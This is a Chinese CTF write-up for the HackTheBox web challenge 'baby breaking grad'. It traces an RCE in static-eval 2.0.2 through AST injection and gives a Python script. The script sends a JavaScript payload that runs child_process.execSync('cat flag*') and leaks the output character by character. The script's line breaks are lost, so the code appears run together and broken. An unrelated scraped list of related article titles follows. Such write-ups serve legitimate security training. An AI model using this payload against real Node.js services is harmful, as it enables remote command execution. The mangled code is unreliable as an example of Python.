文章目录

  • 概述
  • 题目
    • 题目概述
    • 源代码
    • 解题思路
    • 解题代码

概述

HackTheBox 网站CTF靶场Web相关题目baby breaking grad,题目地址https://app.hackthebox.com/challenges/baby-breaking-grad,主要考察AST注入的知识点。

题目

题目概述

开启程序实例后,提示访问209.97.187.217:32476,访问http://209.97.187.217:32476,看到如下Web界面

直接选择一个提交得到

下载附件解压缩得到

源代码

在routes目录下的index.js中,包括对不同url的处理方法

其中涉及到StudentHelper.js,对应的源代码

StudentHelper.js用到了static-evalesprima,在package.json中查看他们的版本

解题思路

可以看到static-eval为2.0.2,存在RCE漏洞,具体可参考https://github.com/advisories/GHSA-8v27-2fg9-7h62

解题代码

import string
import requestsurl = 'http://209.97.187.217:32476/api/calculate'
flag = ''for i, _ in enumerate(iter(bool, True)):for chr in string.printable:payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"data = {"name": "AAA", "formula": payload}r = requests.post(url, json=data)if('Passed' in r.content):flag += chrprint(flag)if(chr == '}'):quit()break

运行代码,得到flag

HackTheBox-baby breaking grad相关推荐

  1. 采用RNN为小Baby起个英文名字by SixInNight

    采用RNN为小Baby起个英文名字 实验描述 准备工作 安装PyTorch 观察数据集创建字典 转换格式张量 构造神经网络 训练神经网络 预测和计算损失 打印训练进度和损失.准备绘图 作图反应神经网络 ...

  2. BREAKING,个人感觉比较难

    BREAKING分STYLE和POWER,我相信大家都问过一个问题:哪个更重要?对这个问题,众说纷 云.最后只能说两个同样重要. 先说说STYLE,STYLE粗分为三部份:TOPROCK,FOOTWO ...

  3. MXNet中x.grad源码追溯

    Python测试代码如https://zh.gluon.ai/chapter_prerequisite/autograd.html 本文追溯x.grad这一行代码的调用 grad调用的是函数MXNDA ...

  4. SpriteBuilder实际操作中如何确定合适Breaking force的值

    确定Breaking force合适的值同样很单调,但是按照下面的方法也并不是完全不可能: 输入一个随意的值,比如说100 检查实际场景中关节是否能承受住物理物体,在完美的情况下物理物体将保持静止. ...

  5. a leaf Variable that requires grad has been used in an in-place operation

    a leaf Variable that requires grad has been used in an in-place operation 这个是因为写成了x+=2, 改为y = x + 2 ...

  6. element 0 of tensors does not require grad and does not have a grad_fn

    element 0 of tensors does not require grad and does not have a grad_fn 这个是因为requires_grad=False,应该为t ...

  7. [watevrCTF 2019]Baby RLWE

    [watevrCTF 2019]Baby RLWE 题目 Mateusz carried a huge jar of small papers with public keys written on ...

  8. [NPUCTF2020]Baby Obfuscation [HDCTF2019]MFC

    文章目录 [NPUCTF2020]Baby Obfuscation 把五个Fox分析一下 F0X1(int a, int b): 运用辗转相除法求得最大公因数(学到一个词汇:最大公约数GCD,最小公倍 ...

  9. pytorch 1.9.0 backward函数解释以及报错(RuntimeError: grad can be implicitly created only for scalar outputs)

    文章目录 官方文档 简单示例 示例1 示例2(报错(RuntimeError: grad can be implicitly created only for scalar outputs)解决方法) ...

最新文章

  1. ZooKeeper简介和概念知识
  2. 24点c语言程序,C语言解24点游戏程序
  3. opencv图像操作:读取,裁剪,保存,缩放,遍历和读取文件夹图片
  4. python之celery简单使用
  5. linux7怎么查看rsync状态,linux – Rsync显示单个文件的进度
  6. 20145317 《网络对抗技术》免杀原理与实践
  7. 将spark默认日志log4j替换为logback
  8. 2020,Python 已死?
  9. ArcGIS中实现将圆16等分
  10. 宝塔面板 Windows 2012 R2 使用指南(在更新中)
  11. python学习1:注释\变量类型\转换函数\转义字符\运算符
  12. 大数据(9) - Flume的安装与使用
  13. 计组之中央处理器:1、CPU的功能和基本结构
  14. ant root环境配置_Java ant环境变量配置
  15. linux windows文件 编码_一站式解读彻底搞懂Python编码
  16. join --- connet string
  17. 干货!大话EXT4文件系统完整版
  18. Matlab之正态拟合直方图绘制函数histfit
  19. nginx的cgi模块
  20. 关于 ThreeJS 线宽 lineWidth 无法正常显示 太大 需要缩小 窗口缩放会影响线粗细 等问题

热门文章

  1. nc文件分解为tiff文件
  2. c语言基础 —— 程序结构
  3. windows安装matplotlib方法(cmd+pycharm)+cmd不运行python命令解决方法
  4. php淋巴,揭秘淋巴排毒有多重要,您看了就知道
  5. SS, SP, BP 三个寄存器
  6. 第十五届全国大学生智能汽车竞赛技术报告-8月30日
  7. 实验六 数组程序设计 → 张玉生《C语言程序设计实训教程》双色版 配套实验书答案 (纯手打, 仅供参考)
  8. php变量输出的几种方式
  9. Junit - 忽略测试(Ignore Test)
  10. [生而为人-思考] Knowledge Cooking 分享会记录 -1